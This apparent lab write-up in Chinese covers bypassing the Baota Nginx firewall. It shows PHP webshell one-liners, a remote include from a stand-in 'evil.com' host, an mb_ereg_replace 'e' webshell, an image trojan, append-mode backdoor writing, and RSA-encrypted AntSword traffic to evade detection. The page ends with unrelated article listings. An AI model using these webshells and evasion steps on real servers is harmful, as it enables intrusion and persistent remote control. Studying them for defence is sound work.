发布时间:2026/8/21 22:08:15
宝塔 Nginx 防火墙下文件包含漏洞与文件上传 免责声明本文全部实验操作均在本人完全可控的自建本地靶场环境完成文章仅用于网络安全原理学习与技术研究。根据《中华人民共和国网络安全法》未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途一切法律责任由行为人本人承担与本文作者无关。个人水平有限如有不足欢迎指正。————————————————摘要本文基于本地合法可控靶场围绕文件上传与文件包含漏洞实验展开演示在宝塔 Nginx 防火墙环境下如何通过图片马上传、文件包含与 file_put_content() 写马实现绕过最后说明如何通过蚁剑 RSA 加密通信规避 WAF 对明文流量的检测从而完成连接验证。实验前提自己搭建的本地合法可控靶场。环境准备宝塔面板自搭网站存在一个文件包含漏洞启用宝塔面板自带的免费Nginx防火墙基于此实现文件上传的webshell绕过。前期知识准备常见的php webshell类型1. 直接型eval($_POST[cmd]); assert($_POST[cmd]);这是最直观的一类$_POST[cmd]直接进入代码执行函数执行。例如 eval() 的作用是把传入的字符串作为 PHP 代码执行。因此这种代码非常容易被静态检测发现因为代码中直接出现了eval()assert()特点代码结构简单容易理解特征明显比较容易被安全产品通过关键函数特征发现2. 回调型array_map(assert, $_POST); usort($_POST[1], $_POST[2]);什么叫“回调型”这里的关键不是直接写eval(...)。而是把某个函数作为参数传给另一个函数由另一个函数间接调用它。核心思想利用 PHP 的回调机制间接调用具有执行能力的函数。常见回调函数call_user_func()array_map()array_filter()usort()array_map()数组回调函数把数组每一个元素丢给回调函数处理返回新数组。array_map(callable|null $callback, array $array, array ...$arrays): array$callback回调函数可以是函数名字符串、匿名函数、可变函数$array要遍历的数组返回处理完成的新数组不修改原数组基础示例function add($v){ return $v1; } $arr [1,2,3]; $res array_map(add,$arr); // $res [2,3,4]漏洞利用1. 可变函数风险外部输入可控如果回调函数名来自用户可控输入会造成代码执行// $_POST[func]system $_POST[arr][]id array_map($_POST[func],$_POST[arr]);POST 提交funcsystemarr[]id等价执行 system(id)这是非常经典无 assert、eval 情况下的 RCE payload。3. 包含型include $_FILES[2][tmp_name]; require http://evil.com/1.txt;什么是包含型核心是利用include、require等 PHP 文件包含机制。例如include $file;PHP 会尝试把$file指向的内容加载到当前 PHP 程序中执行。因此这里的核心逻辑不是直接执行字符串而是指定文件经过include / require加载文件内容PHP 解析其中的代码include和 require两者都可以用于文件包含。主要区别在于包含失败后的处理方式include产生警告程序通常继续执行require产生致命错误程序通常停止4. 变形型eval(gzdeflate(base64_decode(...))); $_ []; $_; $_; ... $_($_);什么叫“变形型”这里的核心思想是不直接把明显的执行代码写出来而是经过编码、转换、拼接等方式改变代码的表现形式。例如base64_decode(...)可以对 Base64 数据进行解码。而gzdeflate(...)涉及压缩数据处理。所以可以出现类似编码/压缩的数据经过解码/解压得到原始内容进入执行逻辑第二个例子则属于通过 PHP 的类型转换、运算等机制构造出某些值再进一步调用。需要注意“变形型”并不是一个 PHP 官方分类而是安全领域对这类代码混淆/变形特征的概括。5. 命令型$_POST[2]; system($_POST[2]);这里第二个更加典型。核心特点它不是让 PHP 解释器执行 PHP 代码而是调用操作系统命令执行相关函数。例如system(...)属于 PHP 与操作系统命令交互的一类函数。逻辑可以理解成外部输入system()后操作系统执行系统命令。常见相关函数还包括system()、exec()、shell_exec()、passthru()。因此在 PHP 安全分析中这些函数通常需要重点关注。6. 技巧型create_function(, $_POST[2333]); preg_replace(/.*/e, $_POST[1], $_POST[2333]);这一类比较特殊。它的特点是利用某些 PHP 函数的特殊行为使数据最终进入代码执行流程。例如历史版本中的preg_replace(/.*/e, ...);其中 /e 修饰符曾经允许替换结果作为 PHP 代码执行。这是一个历史机制现代 PHP 版本已经移除 /e 修饰符同样create_function() 也是历史上的动态创建函数机制在现代 PHP 中已经被移除。filter_input()函数查阅php官方文档可以发现对于该函数的解释和适用的php版本范围该函数的结构可以先这样理解filter_input(从哪里取, 取哪个参数, 怎么处理, 额外规则)作用从用户输入中“取出一个值并按照指定规则过滤它”。作用从用户输入中“取出一个值并按照指定规则过滤它”。1. 最基本的用法例如$name filter_input(INPUT_GET, name);假设访问http://example.com/test.php?nameTom那么$nameTom这里最重要的是理解它的两个参数filter_input(来源, 参数名);第一个参数告诉 PHP要从哪一种用户输入中取数据常见的有INPUT_GET、INPUT_POST、INPUT_COOKIE。INPUT_GET从 URL 的 GET 参数中获取。例如/test.php?id123代码$id filter_input(INPUT_GET, id);相当于告诉 PHP去 GET 数据里面找一个叫 id 的参数。第三个参数查看官方文档可以得知可以得到以下关键信息mb_ereg_replace参数$pattern正则表达式$replacement替换内容$string待处理字符串$options选项传入e时替换字符串会被当做 PHP 代码执行PHP版本变化PHP5‑7.0e选项可用可 RCEPHP7.1e被废弃不再执行代码警告提示PHP示例漏洞代码// 用户可控 $reps mb_ereg_replace(\d, $reps, 123, e);传入$repsphpinfo()等价执行eval(phpinfo())RCE。mb_ereg_replace(.*,system(id);,abc,e);和preg_replace /e很像但属于 mbstring 多字节正则代码执行触发条件第四个参数写epreg_replace是 PCRE 正则。成功执行基于fileter_inpute和mb_ereg_replace产生的websell由于测试环境中的 WAF 会对$_GET等直接获取 GET 参数的代码特征进行识别和拦截因此这里改用 PHP 提供的filter_input()接口获取 GET 参数。?php mb_ereg_replace(.*,\0,filter_input(INPUT_GET,cmd),e);1.在宝塔根目录中创建一个用于文件上传的html文件另外创建一个用于保存到本地的php代码!DOCTYPE html html head meta charsetutf-8 title文件上传/title /head body form actionupload.php methodpost enctypemultipart/form-data input typefile nameupfile / button typesubmit上传文件/button /form /body /html2.制作图片马后门经过多次上传尝试发现该图片并不能被上传查看站点的防火墙日志发现防火墙可能成功检测出这是一个图片马猜测原因可能是因为包含了? php这个标签实际上这里可以查看这个防火墙拦截规则里确实 有 过滤这个标签使用短标签重新制作图片马再次上传这一次成功上传进入目录查看确实存在这个图片3.创建一个文件包含漏洞包含该图片时发现可能会报错如下于是可以改为使用上传.gif文件上传成功这一次页面并没有乱码了只又提示e参数依旧被废弃测试改文件包含漏洞和我们的图片马是否生效在php7中支持phpinfo()PHP 7 新增字符串后面直接跟圆括号会把该字符串当作函数名来调用发现成功利用4.file_put_content()PHP 文件写入函数把字符串写入文件文件不存在自动创建默认直接覆盖原有内容PHP。参数说明$filename目标文件路径相对 / 绝对路径$data要写入的内容字符串、数组、流资源PHP$flags可选FILE_APPEND追加写入不覆盖原有内容不加这个就是覆盖FILE_APPEND是 PHP 的预定义常量它本身的值就是整数 8LOCK_EX写入时加独占锁防止并发冲突$context流上下文一般不用返回值成功返回写入的字节数失败返回 false利用图片马执行该函数由于直接写后门文件如果一次写完整的其中的内容可能会被检测到导致不能成功于是可以采用追加模式5.尝试蚁剑连接尝试直接使用蚁剑连接一句话木马抓包可见 POST 数据明文携带eval危险函数WAF 识别危险函数直接拦截流量连接失败。需要对蚁剑通信流量做加密处理规避检测。在服务端 PHP 代码中加入 RSA 通信加密逻辑。通过 RSA 公钥对通信数据进行加密并在服务端使用对应私钥进行解密使客户端与服务端之间传输的数据不再以原始明文形式直接出现。该脚本负责接收并解密客户端发送的加密数据因此需要将其放置在当前靶场中作为客户端建立加密通信的服务端入口。可继续使用追加模式追加该php代码或者使用copy命令从另一个自己搭建的靶场中复制到该靶场copy通过临时 HTTP 文件服务提供测试文件并在目标测试环境中将文件复制到相应目录重新配置客户端连接参数后成功建立通信说明服务端 RSA 加密逻辑与客户端配置能够正常配合工作验证了加密通信配置的有效性。再次尝试蚁剑连接成功连接。此时蚁剑通信数据已经经过加密请求中的内容呈现为密文形式WAF 无法像分析明文流量一样直接识别其中的原始特征。对于 WAF 而言这类请求的内容特征与普通业务中的加密数据可能存在一定相似性因此仅依靠流量内容难以准确判断其是否属于恶意通信。若直接拦截可能产生误报而放行又可能存在漏报风险。

相关新闻

2026/8/21 22:03:15

计算机二级WPS备考:从视频跟练到实战通关的完整指南

1. 先搞清楚“真题讲解视频打卡”到底在解决什么问题如果你正在准备计算机二级WPS Office考试,看到“真题讲解视频打卡”这类内容,最直接的问题就是:它和直接刷题、看文字解析有什么区别?值不值得花时间跟?我的看法是&…

2026/8/21 22:03:15

SAP Gateway 日志闭环设计,深入理解 LOG_STEP_COMPLETION 与步骤完成日志

一条 SAP Gateway 的 OData 请求从 HTTP 层进入系统后,真正走到业务代码之前,往往已经穿过了路由解析、服务识别、系统别名解析、请求上下文建立、模型加载以及 Backend 调用等多个处理环节。到了生产系统,真正让排障变得困难的往往并不是某一个方法报错,而是我们只能看到一…

2026/8/21 23:24:32

RLAR:大模型多任务强化学习中的智能体化奖励系统

1. 从“指令跟随”到“自主决策”:为什么大模型需要RLAR这样的智能体奖励系统?最近和几个做强化学习(RL)和LLM应用的朋友聊天,大家普遍有个感觉:现在的大模型,特别是那些动辄千亿参数的大家伙&a…

2026/8/21 23:24:32

车载逆变器选购指南:纯正弦波与功率选择全解析

这次我们来看车载逆变器的选购。如果你经常自驾游、露营,或者需要在车上给笔记本、无人机、小家电供电,一个靠谱的车载逆变器就是刚需。但市面产品从几十到上千,功率从150W到1300W,还有纯正弦波和修正波之分,选错了轻则…

2026/8/21 23:24:32

多媒体技术基础:编码、容器与流媒体协议的核心原理与工程实践

1. 从“播放器”到“设计师”:为什么多媒体基础不再是选修课几年前,我还在一个项目组里负责后端业务逻辑,那时对“多媒体”的理解,大概就停留在“前端同事负责的播放器”和“运维头疼的带宽”上。直到我们接了一个在线教育平台的音…

2026/8/21 23:19:31

CameraGraph全域视场组网驱动的车路云一体化多模态感知技术白皮书

前言随着我国交通强国、新型智慧城市与智能网联汽车产业深度推进,车路云一体化已成为智慧交通进阶升级、高阶自动驾驶落地、交通治理现代化的核心底座。行业建设重心从单一设备智能化、局部车路协同,全面转向全域感知协同、多模态数据融合、时空态势统一…

2026/8/21 13:13:49

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/21 20:14:07

工业传感器与变送器详解:序章 从物理世界到工业数据

序章 从物理世界到工业数据 ——重新认识工业传感器与变送器 工业自动化系统正变得日益复杂。今天的工业现场早已不是简单的控制回路,而是由多层技术共同构成的立体体系:PLC、DCS、SCADA、MES、工业互联网、边缘计算与人工智能。控制系统可以执行复杂算法,工业网络可以实现…

2026/8/21 0:03:13

Linux命令-uucico(UUCP传输程序)

Linux命令-uucico(UUCP传输程序) 🔰简介UUCP 体系简介 📖语法⚙️选项配置文件 💡示例示例 1:基本传输操作示例 2:主模式与从模式示例 3:调试与故障排查示例 4:UUCP 配置…

2026/8/21 0:03:13

Linux命令-uupick(UUCP文件接收工具)

Linux命令-uupick(UUCP文件接收工具)🔰简介uupick 在 UUCP 传输链中的位置📖语法⚙️选项交互命令💡示例示例 1:基本接收操作示例 2:仅处理来自特定系统的文件示例 3:完整 UUCP 文件…

2026/8/21 15:40:01

实测才敢推 AI论文网站 2026最新测评与推荐

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。一、综…

2026/8/21 15:40:01

2026必备!AI论文网站测评:最新推荐与深度对比

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

2026/8/21 0:31:27

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…